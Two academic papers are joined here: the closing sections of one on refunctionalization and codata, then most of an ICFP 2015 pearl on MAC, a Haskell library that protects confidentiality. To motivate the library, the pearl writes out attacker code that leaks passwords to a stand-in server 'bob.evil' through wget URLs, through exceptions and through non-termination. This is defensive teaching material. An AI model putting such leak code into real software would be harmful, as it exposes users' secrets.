app(v1.reify(level), v2.reify(level))

resApp(v1, v2).apply(v3) =
resApp(resApp(v1, v2), v3)

function error() : Val where
error().apply(arg) = error()

-- step 2:
error().reify(level) = err()

Figure 16. Refunctionalization of the interpreter in Figure 15
yields this more metacircular implementation of normalization by
evaluation.

Step Dimension Defunct. Refunct.
1 add consumer modular nonmodular
2 add consumer modular nonmodular
3 add consumer modular nonmodular
4 add constructor nonmodular modular
5 add constructor nonmodular modular
6 add helper modular modular
7 add constructor nonmodular modular
8 add constructor nonmodular modular
9 add constructor nonmodular modular

10 add constructor nonmodular modular

Figure 17. Modular support for different changes in the defunc-
tionalized and refunctionalized variants of the interpreter.

6. Related and Future Work
Danvy and his collaborators have developed a long-standing pro-
gram to interrelate semantic artifacts (such as big-step semantics,
small-step semantics, abstract machines) through systematic trans-
formations, such as CPS transformation, closure conversion, refo-
cusing (for example, Danvy and Millikin 2009; Ager et al. 2003;
Danvy and Nielsen 2001). Defunctionalization and refunctional-
ization are two key components in this program. We believe that a
better correspondence between these two transformations can have
a positive influence on the whole program.

Cook discussed the relation between object-oriented program-
ming and abstract data types (Cook 2009). We believe that our work
can be seen as a formalization of the relation as described by Cook.
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While our language does not support abstract data types through a
type system, a data type definition together with all functions that
operate on it can be seen as an abstract data type, and program-
mers could, by disciplined usage, ensure that representation inde-
pendence holds. Also, the variant of objects described by Cook fits
well to our support of codata and copattern matching. Ignoring the
missing enforcement of representation independence, defunction-
alization and refunctionalization as described in this paper hence
correspond to the relation between ADTs and objects as described
in Sec. 4.2 and 4.3 of Cook’s paper.

Janzen and de Volder (2004) discuss a programming system in
which one can both view and edit a program in two different de-
compositions, namely a decomposition into object-oriented classes
and a decomposition into “modules”, which collect all implemen-
tations of a method into one module. Our approach can be seen as
a semantic justification for their approach. Integrating the transfor-
mations proposed in this paper into an IDE to switch between these
two “views” and edit the program in the one that fits best to the task
at hand would also be a straightforward application of this paper.

Lämmel and Rypacek (2008) also investigate the duality be-
tween data and codata and their relation to the expression problem.
They focus on semantic methods and a theoretical description of the
duality, using category theory, whereas we focus on syntactic meth-
ods and the design of a practical language, using basic program-
ming language methodology. It would be interesting to understand
the exact relationship between their results and our transformations.

Among others, Carette et al. (2009) propose to implement
domain-specific languages (EDSLs) by a form of Church encoding.
This requires to specify every semantics of an EDSL in a composi-
tional way. It appears as if disentanglement (Section 3.2) followed
by refunctionalization could be used to automatically transform a
non-compositional function on an initial embedding (data types and
pattern matching) to a compositional semantics that is suitable for
use with the final embedding. As expected, the compositional se-
mantics would include some extra information that is only needed
to achieve compositionality, in the form of additional destructors.

Our use of copattern matching derives from Abel et al.’s (2013)
work. To achieve symmetry with our first-order, simply-typed data
fragment, we leave out polymorphic and dependent types, and
merge Abel’s application copattern and destructor copatterns into
a form of destructor copatterns that also support arguments. In our
future work, we want to consider more powerful type systems for
Uroboro. As a first step, we want to consider polymorphism. It is
known that defunctionalization of polymorphic functions requires
generalized algebraic data types (GADTs) (Pottier and Gauthier
2006). We expect that for refunctionalization of polymorphic func-
tions we need to invent something like generalized codata types.

7. Conclusions
We have shown that defunctionalization and refunctionalization
can be made symmetric by generalizing higher order functions to
codata. We believe that this result is significant both from a the-
oretical and from a pragmatic point of view. It provides a strong
justification for programming languages with codata and copattern
matching and may as such inform the design of new functional pro-
gramming languages. The transformations can also be used as pro-
gramming techniques, either in the design of automated tools (or
even IDEs) or simply as another tool in the programmer’s toolbox
of powerful program transformations. We have seen that the two
languages we defined also shed new light on the expression prob-
lem, since they correspond to the two forms of extensibility that
are in the focus of the expression problem. Finally, the organiza-
tion of programs as matrices and the transformations as transposi-

tions of these matrices suggests a novel view of programs as two-
dimensional (rather than tree-structured) entities, which we believe
to be interesting to explore in future work.
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Abstract

For several decades, researchers from different communities have
independently focused on protecting confidentiality of data. Two
distinct technologies have emerged for such purposes: Mandatory
Access Control (MAC) and Information-Flow Control (IFC)—the
former belonging to operating systems (OS) research, while the lat-
ter to the programming languages community. These approaches
restrict how data gets propagated within a system in order to avoid
information leaks. In this scenario, Haskell plays a unique privi-
leged role: it is able to protect confidentiality via libraries. This
pearl presents a monadic API which statically protects confidential-
ity even in the presence of advanced features like exceptions, con-
currency, and mutable data structures. Additionally, we present a
mechanism to safely extend the library with new primitives, where
library designers only need to indicate the read and write effects of
new operations.

Categories and Subject Descriptors D.1.1 [Programming Tech-
niques]: Applicative (Functional) Programming; D.3.3 [Program-
ming Languages]: Language Constructs and Features; D.4.6 [Se-
curity and Protection]: Information flow controls

Keywords mandatory access control, information-flow control,
security, library

1. Introduction

Developing techniques to keep secrets is a fascinating topic of re-
search. It often involves a cat and mouse game between the attacker,
who provides the code to manipulate someone else’s secrets, and
the designer of the secure system, who does not want those secrets
to be leaked. To give a glimpse of this thrilling game, we present
a running example which involves sensitive data, two Haskell pro-
grammers, one manager, and a plausible work situation.

∗ Title inspired by Benjamin Franklin’s quote “Three can keep a secret, if
two of them are dead”
† Work done while visiting Stanford University

EXAMPLE 1. A Haskell programmer, named Alice, gets the task
to write a simple password manager. As expected, one of its func-
tionalities is asking users for passwords. Alice writes the following
code.

Alice

password :: IO String

password = do putStr "Select your password:"

getLine

After talking with some colleagues, Alice realizes that her code
should help users to avoid using common passwords. She notices
that a colleague, called Bob, has already implemented such func-
tionality in another project. Bob’s code has the following type sig-
nature.

Bob

common pwds :: String → IO Bool

This function queries online lists of common passwords to as-
sert that the input string is not among them. Alice successfully in-
tegrates Bob’s code into her password manager.

Alice

import qualified Bob as Bob

password :: IO String

password = do

putStr "Please, select your password:"

pwd← getLine

b ← Bob.common pwds pwd

if b then putStrLn "It’s a common password!"

>> password

else return pwd

Observe that Bob’s code needs access to passwords, i.e., sensi-
tive data, in order to provide its functionality.

Unfortunately, the relationship between Alice and Bob has not
been the best one for years. Alice suspects that Bob would do
anything in his power to ruin her project. Understandably, Alice is
afraid that Bob’s code could include malicious commands to leak

passwords. For instance, she imagines that Bob could maliciously

use function wget 1 as follows.

Bob

common pwds pwd =
...

ps ← wget "http://pwds.org/dict_en.txt" [ ] [ ]
...

wget ("http://bob.evil/pwd=" ++ pwd) [ ] [ ]
...

1 Provided by the Hackage package http-wget

Permission to make digital or hard copies of all or part of this work for personal or
classroom use is granted without fee provided that copies are not made or distributed
for profit or commercial advantage and that copies bear this notice and the full citation
on the first page. Copyrights for components of this work owned by others than ACM
must be honored. Abstracting with credit is permitted. To copy otherwise, or republish,
to post on servers or to redistribute to lists, requires prior specific permission and/or a
fee. Request permissions from Permissions@acm.org.
Copyright is held by the owner/author(s). Publication rights licensed to ACM.

ICFP’15, August 31 – September 2, 2015, Vancouver, BC, Canada
ACM. 978-1-4503-3669-7/15/08...$15.00
http://dx.doi.org/10.1145/2784731.2784756
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The ellipsis (...) denotes parts of the code not relevant for the
point being made. The code fetches a list of common English pass-
words, which constitutes a legit action for function common pwds
(first call to wget ). However, the function also reveals users’ pass-

words to Bob’s server (second call to wget ). To remove this threat,
Alice thinks of blacklisting all URLs other than those coming from
pre-approved web sites. While possible, she knows that this requires
to keep an up-to-date (probably long) list of URLs—demanding
a considerable management effort. Even worse, she realizes that
Bob’s code would still be capable of leaking information about
passwords. In fact, Bob’s code would only need to leverage two
legit, i.e., whitelisted, URLs—we consider Alice and Bob sharing
the same (corporate) computer network.

Bob

common pwds pwd =
...

when (isAlpha (pwd !! 0))
(wget ("http://pwds.org/dict_en.txt") [ ] [ ]
>> return ())

wget ("http://pwds.org/dict_sp.txt") [ ] [ ]
when (isAlpha (pwd !! 1))

(wget ("http://pwds.org/dict_en.txt") [ ] [ ]
>> return ())

...

This malicious code utilizes legit URLs for fetching English and
Spanish lists of common passwords. By simply inspecting the in-
terleaves of HTTP requests, Bob can deduce the alphabetic na-
ture of the first two characters of the password. For example,
if Bob sees the sequence of requests for files "dict_en.txt",
"dict_sp.txt", and "dict_en.txt", he knows that the first two
characters are indeed alphabetic. Importantly, the used URLs do
not contain secret information. It is the execution of wget , that
depends on secret information, which reveals information. Black-
listing (whitelisting) provides no protection against this type of
attacks—the code uses whitelisted URLs! It is not difficult to imag-
ine adding similar when commands to reveal more information
about passwords. With that in mind, Alice’s options to integrate
Bob’s code are narrowed to (i) avoid using Bob’s code, (ii) code
reviewing common pwds, or (iii) give up password confidential-
ity. Alice hits a dead end: options (i) and (iii) are not negotiable,
while option (ii) is not feasible—it consists of a manual and expen-
sive activity.

The example above captures the scenario that this work is con-
sidering: as programmers, we want to securely incorporate some
code written by outsiders, referred as untrusted code, to handle sen-
sitive data. Protecting secrets is not about blacklisting (or whitelist-
ing) resources, but rather assuring that information flows into ap-
propriated places. In this light, MAC and IFC techniques associate
data with security labels to describe its degree of confidentiality.
In turn, an enforcement mechanism tracks how data flows within
programs to guarantee that secrets are manipulated in such a way
that they do not end up in public entities. While pursuing the same
goal, MAC and IFC techniques use different approaches to track
data and avoid information leaks.

This pearl constructs MAC, one of the simplest libraries for
statically protecting confidentiality in untrusted code. In just a few
lines, the library recasts MAC ideas into Haskell, and different
from other static enforcements (Li & Zdancewic 2006; Tsai et al.
2007; Russo et al. 2008; Devriese & Piessens 2011), it supports
advanced language features like references, exceptions, and con-
currency. Similar to (Stefan et al. 2011b), this work bridges the gap
between IFC and MAC techniques by leveraging programming lan-
guages concepts to implement MAC-like mechanisms. The design
of MAC is inspired by a combination of ideas present in existing

module MAC .Lattice (⊑,H ,L) where

class ℓ ⊑ ℓ′ where

data L

data H

instance L ⊑ L where

instance L ⊑ H where

instance H ⊑ H where

Figure 1. Encoding security lattices in Haskell

newtype MAC ℓ a = MAC TCB (IO a)

ioTCB :: IO a → MAC ℓ a

ioTCB = MAC TCB

instance Monad (MAC ℓ) where

return = MAC TCB

(MAC TCB m)>>= k = ioTCB (m >>= runMAC . k)

runMAC ::MAC ℓ a → IO a

runMAC (MAC TCB m) = m

Figure 2. The monad MAC ℓ

security libraries (Russo et al. 2008; Stefan et al. 2011b). MAC is
not intended to work with off-the-shelf untrusted code, but rather to
guide (and force) programmers to build secure software. As antici-
pated by the title of this pearl, we show that when Bob is obliged to
use MAC, and therefore Haskell, his code is forced to keep pass-
words confidential.

2. Keeping Secrets

We start by modeling how data is allowed to flow within programs.

2.1 Security Lattices

Formally, labels are organized in a security lattice which governs
flows of information (Denning & Denning 1977), i.e., ℓ1 ⊑ ℓ2
dictates that data with label ℓ1 can flow into entities labeled with
ℓ2. For simplicity, we use labels H and L to respectively denote
secret (high) and public (low) data. Information cannot flow from
secret entities into public ones, a policy known as non-interference
(Goguen & Meseguer 1982), i.e., L ⊏ H and H 6⊑ L.
Figure 1 shows the encoding of this two-point lattice using type

classes (Russo et al. 2008) 2. With a security lattice in place, we
proceed to label data produced by computations.

2.2 Sensitive Computations

As demonstrated in Example 1, we need to control how IO-actions
are executed in order to avoid data leaks. We introduce the monad
family MAC responsible for encapsulating IO-actions and re-
stricting their execution to situations where confidentiality is not

compromised3 . The index for this family consists on a security la-
bel ℓ indicating the sensitivity of monadic results. For example,
MAC L Int represents computations which produce public inte-
gers.

Figure 2 defines MAC ℓ and its API. We remark that MAC is
parametric in the security lattice being used. Constructor MAC TCB

2 Orphan instances could break the security lattice. Readers should refer to
the accompanying source code to learn how to avoid that.
3 Instead of the IO monad, it is possible to generalize our approach to
consider arbitrary underlying monads. However, this is not a central point
to our development and we do not discuss it.
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newtype Res ℓ a = ResTCB a

labelOf :: Res ℓ a → ℓ

labelOf = ⊥

Figure 3. Labeled resources

is part of MAC’s internals, or trusted computing base (TCB),
and as such, it is not available to users of the library. From now
on, we mark every element in the TCB with the superscript in-
dex ·TCB . Function ioTCB lifts arbitrary IO-actions into the secu-
rity monad. The definitions for return and bind are straightfor-
ward. Function runMAC executes MAC ℓ-actions. Users of the li-
brary should be careful when using this function. Specifically, users
should avoid executing IO-actions contained in MAC ℓ-actions.
For instance, code of type MAC H (IO String) is probably
an insecure computation—the IO-action could be arbitrary and re-
veal secrets, e.g., consider the code return "secret" >>= λh →
return (wget ("http://bob.evil/pwd=" ++ h) [ ] [ ]).

As a natural next step, we proceed to extend MAC ℓ with a
richer set of actions, i.e., non-proper morphisms, responsible for
producing useful side-effects.

2.3 Sensitive Sources and Sinks of Data

a)

MAC ℓ a

Res ℓ′ b

read if ℓ′ ⊑ ℓ

b)

Res ℓ′ c

MAC ℓ a

write if ℓ ⊑ ℓ′

Figure 4. Interaction between
MAC ℓ and labeled resources.

In general terms, side-
effects in MAC ℓ can be
seen as actions which ei-
ther read or write data.
Such actions, however,
need to be conceived in a
manner that not only re-
spects the sensitivity of the
results in MAC ℓ, but the
sensitivity of sources and
sinks of information. We
classify origins and desti-
nations of data by intro-

ducing the concept of labeled resources—see Figure 34. The safe
interaction between MAC ℓ-actions and labeled resources is
shown in Figure 4. On one hand, if a computation MAC ℓ only
reads from labeled resources less sensitive than ℓ (see Figure 4a),
then it has no means to return data more sensitive than that. This
restriction, known as no read-up (Bell & La Padula 1976), protects
the confidentiality degree of the result produced by MAC ℓ, i.e.,
the result only involves data with sensitivity (at most) ℓ. Dually,
if a MAC ℓ computation writes data into a sink, the computation
should have lower sensitivity than the security label of the sink it-
self (see Figure 4b). This restriction, known as no write-down (Bell
& La Padula 1976), respects the sensitivity of the sink, i.e., it never
receives data more sensitive than its label. To help readers, we in-
dicate the relationship between type variables in their subindexes,
i.e., we use ℓL and ℓH to attest that ℓL ⊑ ℓH.

We take the no read-up and no write-down rules as the core
principles upon which our library is built. This decision not only
leads to correctness, but also establishes a uniform enforcement
mechanism for security. We extend the TCB with functions that
lift IO-actions following such rules—see Figure 5. These functions
are part of MAC’s internals and are designed to synthesize secure
functions (when applied to their first argument). The purpose of
using d a instead of a will become evident when extending the
library with secure versions of existing data types (e.g., Section 3

4 Res ℓ can represent labeled pure computations. The separation of pure
and side-effectful computations is a distinctive feature in Haskell programs,
and thus we incorporate it to our label mechanism.

readTCB :: ℓL ⊑ ℓH ⇒
(d a → IO a) → Res ℓL (d a) → MAC ℓH a

readTCB f (ResTCB da) = (ioTCB . f ) da

writeTCB :: ℓL ⊑ ℓH ⇒
(d a → IO ()) → Res ℓH (d a) → MAC ℓL ()

writeTCB f (ResTCB da) = (ioTCB . f ) da

newTCB :: ℓL ⊑ ℓH ⇒ IO (d a) → MAC ℓL (Res ℓH (d a))
newTCB f = ioTCB f >>= return .ResTCB

Figure 5. Synthesizing secure functions by mapping read and
write effects to security checks

data Id a = IdTCB {unIdTCB :: a }

type Labeled ℓ a = Res ℓ (Id a)

label :: ℓL ⊑ ℓH ⇒ a → MAC ℓL (Labeled ℓH a)

label = newTCB . return . IdTCB

unlabel :: ℓL ⊑ ℓH ⇒ Labeled ℓL a → MAC ℓH a

unlabel = readTCB (return . unIdTCB)

Figure 6. Labeled expressions

joinMAC :: ℓL ⊑ ℓH ⇒
MAC ℓH a → MAC ℓL (Labeled ℓH a)

joinMAC m = (ioTCB . runMAC) m >>= label

Figure 7. Secure interaction between family members

instantiates d to IORef in order to implement secure references).
Function readTCB takes a function of type d a → IO a , which
reads a value of type a from a data structure of type d a , and
returns a secure function which reads from a labeled data structure,
i.e., a function of type Res ℓL (d a) → MAC ℓH a . Similarly,
function writeTCB takes a function of type d a → IO (), which
writes into a data structure of type d a , and returns a secure
function which writes into a labeled resource, i.e., a function of
type Res ℓH (d a) → MAC ℓL (). Function newTCB takes an
IO-action of type IO (d a), which allocates a data structure of
type d a , and returns a secure action which allocates a labeled
resource, i.e, an action of type MAC ℓL (Res ℓH (d a)). From
the security point of view, allocation of data is considered as a
write effect; therefore, the signature of function new TCB requires
that ℓL ⊑ ℓH. Observe that readTCB, writeTCB, and new TCB adhere
to the principles of no read-up and no write-down. To illustrate
the use of these primitives, Figure 6 exposes the simplest possible
labeled resources: Haskell expressions. Data type Id a is used to
represent expressions of type a . For simplicity of exposition, we
utilize Labeled ℓ a as a type synonym for labeled resources of type
Id a . The implementation applies newTCB and readTCB for creating
and reading elements of type Labeled ℓ a , respectively.

2.3.1 Joining Family Members

Based on type definitions, computations handling data with het-
erogeneous labels necessarily involve nested MAC ℓ- or IO-
actions in its return type. For instance, consider a piece of code
m :: MAC L (String ,MAC H Int) which handles both public
and secret information, and produces a public string and a secret
integer as a result. While somehow manageable for a two-point
lattice, it becomes intractable for general cases—imagine a com-
putation combining and producing data at many different security
levels! To tackle this problem, Figure 7 presents primitive joinMAC

to safely integrate more sensitive computations into less sensitive
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ones. Operationally, function joinMAC runs the computation of type
MAC ℓH a and wraps the result into a labeled expression to protect
its sensitivity.

Types indicate us that the integration of effects from monad
MAC ℓH does not violate the no read-up and no write-down
rules for monad MAC ℓL. At first sight, read effects from monad
MAC ℓH could violate the no read-up rule for MAC ℓL, e.g., it
is enough for MAC ℓH to read from a resource labeled as ℓ such
that ℓL ⊏ ℓ ⊑ ℓH. Nevertheless, data obtained from such reads
has no evident effect for monad MAC ℓL. Observe that, by type-
checking, sensitive data acquired in MAC ℓH cannot be used to
build actions in MAC ℓL. In other words, from the perspective of
MAC ℓL, types assure that it is like those read effects have never
occurred. With respect to write effects, monad MAC ℓH is allowed
to write into labeled resources at sensitivity ℓ such that ℓH ⊑ ℓ. By
the type constrain in joinMAC and transitivity, it holds that ℓL ⊑ ℓ,
which satisfies the no write-down rule for monad MAC ℓL.

Despite trusting our types to reason about joinMAC, there ex-
ists a subtlety that escapes the power of Haskell’s type-system
and can compromised security: the integration of non-terminating
MAC ℓH-actions can suppress subsequent MAC ℓL-actions. By
detecting that certain actions never occurred, MAC ℓL can infer
that non-terminating MAC ℓH-actions are triggered by joinMAC. If
such non-terminating actions were triggering depending on secret
values, MAC ℓL could learn about sensitive information. Sections
4 and 6 describe how to adapt the implementation of joinMAC to
account for this problem—for now, readers should assume termi-
nating MAC ℓH-actions when calling joinMAC.

EXAMPLE 2. Alice presents her concerns about using Bob’s code
to her manager Charlie. She shows him the interface provided by
MAC. Alice tells the manager that, by writing programs using the
monad family MAC , it is possible to securely integrate untrusted
code into her project. After a long discussion, Charlie accepts Al-
ice’s proposal to improve security and reduce costs in code review-

ing. Alice tells Bob to adapt his program to work with MAC 5. Nat-
urally, Bob dislikes changes, especially if they occur in his code due
to Alice’s demands. As a first criticism, he mentions that the inter-
face lacks the functionality of primitive wget . Alice quickly reacts
to that and extends MAC to provide a secure version of wget—
where network communication is considered a public operation.

wgetMAC :: String → MAC L String

Bob proceeds to adapt his function to satisfy Alice’s demands.

Bob

common pwds :: Labeled H String

→ MAC L (Labeled H Bool )

Comfortable with that, Alice modifies her code as follows.

Alice

import qualified Bob as Bob

password :: IO String

password = do

putStr "Please, select your password:"

pwd← getLine

lpwd← label pwd ::MAC L (Labeled H String)
lbool ← runMAC (lpwd >>= Bob.common pwds)
let IdTCB bool = unRes lbool

if bool then putStrLn "It’s a common password!"

>> password

else return pwd

The code marks the password as sensitive (lpwd), runs Bob’s
code, and obtains the result (lbool)—since Alice is trustworthy, her

5 e.g., by applying appropriate lifting operations (Swamy et al. 2011)

type Ref MAC ℓ a = Res ℓ (IORef a)

newRef MAC :: ℓL ⊑ ℓH ⇒ a → MAC ℓL (Ref MAC ℓH a)

newRef MAC = new TCB . newIORef

readRef MAC :: ℓL ⊑ ℓH ⇒ Ref MAC ℓL a → MAC ℓH a

readRef MAC = readTCB readIORef

writeRef MAC :: ℓL ⊑ ℓH ⇒ Ref MAC ℓH a → a → MAC ℓL ()

writeRef MAC lref v = writeTCB (flip writeIORef v) lref

Figure 8. Secure references

code has access to MAC’s internals and removes the constructor
ResTCB wrapping the boolean. Alice now has guarantees that Bob’s
code is not leaking secrets.

3. Mutable Data Structures

In this section, we extend MAC to work with references.

EXAMPLE 3. Alice notices that Bob’s code degrades performance.
Alice realizes that function common pwds fetches online dictio-
naries every time that it is invoked—even after a user selected a
common password and the password manager repeatedly asked
the user to choose another one. She thinks that dictionaries must
be fetched once when a user is required to select a password—
regardless of the number of attempts until choosing a non-common
one. Once again, she takes the matter to her supervisor. Charlie dis-
cusses the issue with Bob, who explains that the interface provided
by MAC is too poor to enable optimizations. He says “MAC does
not even support mutable data structures! That is an essential fea-
ture to boost performance.” To make his point stronger, Bob shows
Charlie some code in the IO monad which implements memoiza-
tion.

Bob

mem :: (String → IO String)
→ IO (String → IO String)

mem f = newIORef (100, [ ])>>= (return .cache f )

cache :: (String → IO String)
→ IORef (Int , [(String,String)])
→ String → IO String

cache f ref str = do

(n, )← readIORef ref

when (n ≡ 0) (writeIORef ref (100, [ ]))
(n,mapp)← readIORef ref

case find (λ(i , o)→ i ≡ str) mapp of

Nothing → do

result ← f str

writeIORef ref (n − 1, (str , result) :mapp)
return result

Just ( , o)→
writeIORef ref (n − 1,mapp)>> return o

Code mem f creates a function which caches results produced
by function f . The cache is implemented as a mapping between
strings—see type [(String ,String)]. The cache is cleared after a
fixed number of function calls. The initial configuration for mem
is an empty mapping and a cache which lives for hundred function
calls (newIORef (100, [ ])). Function cache is self-explanatory
and we do not discuss it further.

After seeing Bob’s code, Charlie goes back to Alice with the
idea to extend MAC with references.

As the example shows, a common design pattern is to store
some state into IO references and pass them around instead of the
(possible large) state itself. With that in mind, we proceed to extend
MAC with IO references by firstly considering them as labeled
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resources. We introduce the type Ref MAC ℓ a as a type synonym for
Res ℓ (IORef a)—see Figure 8. Secondly, we consider functions
newIORef :: a → IO (IORef a), readIORef :: IORef a →
IO a , and writeIORef :: IORef a → a → IO () to create,
read, and write references, respectively. Secure versions of such
functions must follow the no read-up and no write-down rules.
Based on that premise, functions newIORef , readIORef , and
writeIORef are lifted into the monad MAC ℓ by wrapping them
using new TCB, readTCB, and writeTCB, respectively. We remark
that these steps naturally generalize to obtain secure interfaces of
various kinds. (For instance, Section 6 shows how to add MVars by
applying similar steps.) With secure references available in MAC,
Alice is ready to give Bob a chance to implement his memoization
function.

EXAMPLE 4. After receiving the new interface, Bob writes a mem-
oization function which works in the monad MAC L.

Bob

memMAC :: (String → MAC L String)
→ MAC L (String → MAC L String)

We leave the implementation of this function as an exercise for

the reader6 . Bob also generalizes common pwds to be parametric
in the function used to fetch URLs.

Bob

common pwds :: (String → MAC L String) -- wget

→ Labeled H String

→ MAC L (Labeled H Bool )

Finally, Alice puts all the pieces together by initializing the
memoized version of wgetMAC and pass it to common pwds.

Alice

password :: IO String

password = do

wgetMem ← runMAC (memMAC wgetMAC)
askWith wgetMem

askWith f = do

putStr "Please, select your password:"

pwd← getLine

lpwd← label pwd ::MAC L (Labeled H String)
lbool ← runMAC (lpwd >>= Bob.common pwds f )
let IdTCB b = unRes lbool

if b then putStrLn "It’s a common password!"

>> askWith f

else return pwd

Observe that the password manager is using Bob’s memoization
mechanism in a safe manner.

Although the addition of references paid off in terms of perfor-
mance, Alice knows that MAC has an important feature missing,
i.e., exceptions. This shortcoming becomes evident to Alice when
the password manager crashes due to network problems. The rea-

son for that is an uncaught exception thrown by wgetMAC. Clearly,
MAC needs support to recover from such errors.

4. Handling Errors

It is not desirable that a program crashes (or goes wrong) due
to some components not being able to properly report or recover
from errors. In Haskell, errors can be administrated by making data
structures aware of them, e.g., type Maybe . Pure computations are
all that programmers need in this case—a feature already supported
by MAC. More interestingly, Haskell allows throwing exceptions

6 Hint: take functions mem and cache and substitute newIORef ,
readIORef , and writeIORef by newRef MAC, readRef MAC, and
writeRef MAC, respectively

throwMAC :: Exception e ⇒ e → MAC ℓ a

throwMAC = ioTCB . throw

catchMAC :: Exception e ⇒
MAC ℓ a → (e → MAC ℓ a) → MAC ℓ a

catchMAC (MAC TCB io) h = ioTCB (catch io (runMAC . h))

Figure 9. Secure exceptions

anywhere, but only catching them within the IO monad. To extend
MAC with such a system, we need to lift exceptions and their
operations to securely work in monad MAC ℓ.

Figure 9 shows functions throwMAC and catchMAC to throw and
catch secure exceptions, respectively. Exceptions can be thrown
anywhere within the monad MAC ℓ. We note that exceptions
are caught in the same family member where they are thrown. As
shown in (Stefan et al. 2012b; Hritcu et al. 2013), exceptions can
compromise security if they propagate to a context—in our case,
another family member—different from where they are thrown.

The interaction between joinMAC and exceptions is quite subtle.
As the next example shows, their interaction might lead to compro-
mised security.

EXAMPLE 5. Alice extends MAC with the primitives in Figure 9.
Tired of dealing with Bob, she asks Charlie to tell him to adapt
his code to recover from failures in wgetMAC. Unexpectedly, Bob
takes the news from Charlie in a positive manner. He knows that
new features in the library might bring new opportunities to ruin
Alice’s project (unfortunately, he is right).

First, Bob adapts his code to recover from network errors.

Bob

common pwds wget lpwd =
catchMAC (Ex4 .common pwds wget lpwd)

(λ(e :: SomeException)→
label True >>= return)

Function Ex4 .common pwds implements the check for com-
mon password as shown in Example 4. For simplicity, and to be
conservative, the code classifies any password as common when
the network is down (label True).

Bob realizes that, depending on a secret value, an exception
raised within a joinMAC block could stop the production of a subse-
quent public event.

Bob

crashOnTrue :: Labeled H Bool → MAC L ()
crashOnTrue lbool = do

joinMAC (do
proxy (labelOf lbool )
bool ← unlabel lbool

when (bool ≡ True) (error "crash!"))
wgetMAC ("http://bob.evil/bit=ff")
return ()

Defined as ⊥, function proxy ::ℓ → MAC ℓ () is used to fix the

family member involved in the code enclosed by joinMAC. The code
crashes if the secret boolean is true (bool ≡ True); otherwise, it
sends a http-request to Bob’s server indicating that the secret is
false (http: // bob. evil/ bit= ff ).

By using catchMAC, Bob implements malicious code capable of
leaking one bit of sensitive data.
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Bob

leakBit :: Labeled H Bool → Int → MAC L ()
leakBit lbool n = do

wgetMAC ("http://bob.evil/secret=" ++ show n)
catchMAC (crashOnTrue lbool)

(λ(e :: SomeException)→
wgetMAC "http://bob.evil/bit=tt" >> return ())

Function leakBit communicates to Bob’s server that secret n
is about to be leaked (first occurrence of wgetMAC). Then, it runs
crashOnTrue lbool under the vigilance of catchMAC. Observe that
crashOnTrue and the exception handler encompass computations
in MAC L, i.e., from the same family member. If an exception
is raised, the code recovers and reveals that the secret boolean
is true (http: // bob. evil/ bit= tt ). Otherwise, Bob’s server
gets notified that the secret is false. This constitutes a leak!

At this point, Bob’s code is able to compromise all the secrets
handled by MAC. Bob magnifies his attack to work on a list of
secret bits.

Bob

leakByte :: [Labeled H Bool ]→ MAC L ()
leakByte lbools = do

forM (zip lbools [0 . . 7]) (uncurry leakBit)
return ()

He further extends his code to decompose characters into bytes
and strings into characters.

Bob

charToByte :: Labeled H Char

→ MAC L [Labeled H Bool ]
toChars :: Labeled H String

→ MAC L [Labeled H Char ]

We leave the implementation of these functions as exercises for
the interested readers. Finally, Bob implements the code for leaking
passwords as follows.

Bob

attack :: Labeled H String → MAC L ()
attack lpwd =
toChars lpwd >>=mapM charToByte >>=
mapM leakByte >> return ()

common pwds wget lpwd =
attack lpwd >> Ex4 .common pwds wget lpwd

The reason for the attack is the use of MAC ℓH-actions which
can suppress subsequent MAC ℓL-actions by simply throwing ex-
ceptions (see joinMAC in function crashOnTrue ). As the attack
shows, exceptions can be thrown at inner family members and
propagate to less sensitive ones—effectively establishing a commu-
nication channel which violates the security lattice. Unfortunately,
types are of little help here: on one hand, joinMAC camouflages
(from the types) the involvement of subcomputations from a more
sensitive family member and, on the other hand, Haskell’s types do
not identify IO-actions which might throw exceptions. In this light,
we need to adapt the implementation of joinMAC to rule out Bob’s
attack.

We redefine joinMAC to disallow propagation of exception across
family members (Stefan et al. 2012b). For that, we utilize the
same mechanism that jeopardized security: exceptions. Figure 10
presents a revised version of joinMAC. It runs the computation m
while catching any possible raised exception. Importantly, joinMAC

returns a value of type Labeled ℓH a even if exceptions are present.
In case of abnormal termination, joinMAC returns a labeled value
which contains an exception—this exception is re-thrown when
forcing its evaluation. In the definition of joinMAC, function slabel
is used instead of label in order to avoid introducing type constraint

joinMAC :: ℓL ⊑ ℓH ⇒
MAC ℓH a → MAC ℓL (Labeled ℓH a)

joinMAC m =
(ioTCB . runMAC)

(catchMAC (m >>= slabel)
(λ(e :: SomeException) → slabel (throw e)))

where slabel = return . ResTCB . IdTCB

Figure 10. Revised version of joinMAC

ℓH ⊑ ℓH. Interested readers can verify that if ℓH ⊑ ℓH is a tautology
(as it is the case in MAC), the implementation of slabel and label
are equivalent in joinMAC.

EXAMPLE 6. Before Bob could deploy his attack, Alice submits

the revised version of joinMAC. Bob notices that his server only
receives requests of the form http: // bob. evil/ bit= ff . He
realizes that the exception triggered by function crashOnTrue
does not propagate beyond the nearest enclosing joinMAC. With
exceptions no longer being an option to learn secrets, Bob focuses
on exploiting one of the classic puzzles in computer science, i.e.,
the halting problem.

5. The (Covert) Elephant in the Room

Covert channels are a known limitation for both MAC and IFC
systems (Lampson 1973). Generally speaking, they are no more
than unanticipated side-effects capable of transmitting informa-
tion. Given secure systems, there are surely many covert channels
present in one way or another. To defend against them, it is a ques-
tion of how much effort it takes for an attacker to exploit them and
how much bandwidth they provide. In this section, we focus on a
covert channel which can be already exploited by untrusted code:
non-termination of programs.

EXAMPLE 7. Bob knows that termination of programs is difficult
to enforce for many analyses. Inspired by his attack on exceptions,
he suspects that some information could be leaked if a computation
MAC H loops depending on a secret value. With that in mind, Bob
writes the following code.

Bob

attack :: Labeled H String → MAC L ()
attack lpwd = do

attempt ← wgetMAC "http://bob.evil/start.txt"

unless (attempt ≡ "skip")
(forM dict (guess lpwd)>> return ())

dict :: [String ]
dict = filter (λtry → length try > 4 ∧ length try 6 8)

(subsequences "0123456789")

guess :: Labeled H String → String → MAC L ()
guess lpwd try = do

joinMAC (do
proxy (labelOf lpwd)
pwd← unlabel lpwd

when (pwd ≡ try) loop)
wgetMAC ("http://bob.evil/try=" ++ try)

loop = loop

The code launches an attack when Bob’s server decides to do
so—see variable attempt . Bear in mind that Bob’s code introduces
an infinite loop, and clearly, it should not be triggered too often in
order to avoid detection.

The attack guesses numeric passwords whose lengths are be-
tween four and eight characters. For that, the code generates (on
the fly) a dictionary of subsequences with the corresponding con-

